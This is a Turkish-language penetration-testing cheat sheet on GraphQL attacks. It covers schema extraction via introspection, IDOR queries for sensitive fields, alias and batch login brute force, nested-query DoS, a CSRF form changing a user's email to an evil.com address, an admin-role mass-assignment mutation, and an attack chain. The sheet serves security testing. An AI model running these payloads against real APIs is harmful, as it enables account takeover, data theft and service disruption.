GraphQL Saldırıları
API difficulty: orta
GraphQL tek uç üzerinden esnek sorgular sunar; bu esneklik yanlış yapılandırıldığında şema ifşası, yetki atlatma, brute force ve DoS kapıları açar. Tipik path: /graphql, /api/graphql, /graphiql.
Introspection ile şema çıkarma
Section titled “Introspection ile şema çıkarma”query Introspection { __schema { queryType { name } mutationType { name } types { name kind fields { name args { name type { name kind ofType { name } } } type { name kind ofType { name } } } } }}python3 clairvoyance.py https://hedef/graphql -o schema.jsonIntrospection kapalıysa field suggestion hatalarından (“Did you mean…?”) şema çıkarımı yapılabilir.
Yaygın zafiyetler
Section titled “Yaygın zafiyetler”-
Yetkilendirme atlatma / IDOR :
query { user(id: "2") { email ssn role } }query { node(id: "Order:1025") { ... on Order { total } } } -
Alias ile rate-limit atlatma :
mutation {a1: login(user:"admin", pass:"Winter2024") { token }a2: login(user:"admin", pass:"Welcome1!") { token }a3: login(user:"admin", pass:"Password1") { token }} -
Batching (Apollo JSON dizi):
[{"query":"mutation { login(pass:\"a\"){ok} }"},{"query":"mutation { login(pass:\"b\"){ok} }"}] -
Derinlik / karmaşıklık DoS :
query {posts { author { posts { author { posts { id } } } } }} -
Injection — resolver SQL/NoSQL/OS’e aktarıyorsa argümanda klasik payload.
-
Mutation suistimali — updateUserRole , debug , impersonate .
CSRF / cookie oturumu
Section titled “CSRF / cookie oturumu”<form action="https://hedef/graphql" method="POST"><input name="query" value='mutation{changeEmail(e:"x@evil.com"){ok}}'></form>CORS gevşek + cookie session → CSRF benzeri mutation.
Nested IDOR / mass assignment
Section titled “Nested IDOR / mass assignment”mutation { updateUser(id: 2, input: { role: "admin", email: "x@evil.com" }) { id role }}□ Global node ID tahmin / sızıntı□ Connection/edge pagination ile tüm kayıtlar□ __typename + id → diğer tiplere pivotAraçlar
Section titled “Araçlar”graphw00f -d -t https://hedef/graphqlcurl -s https://hedef/graphql -H 'Content-Type: application/json' \ -d '{"query":"{__typename}"}'Checklist
Section titled “Checklist”□ Introspection / GraphiQL production'da açık mı?□ Sensitive field'lar IDOR ile okunuyor mu?□ Alias/batch login brute□ Depth/cost limit var mı?□ Mutations: authz her field'da mı?□ File upload scalar / multipart GraphQL□ Subscription / WebSocket authzSaldırı zinciri
Section titled “Saldırı zinciri”graphw00f → introspection dump → hassas query field IDOR → alias login brute → token → admin mutation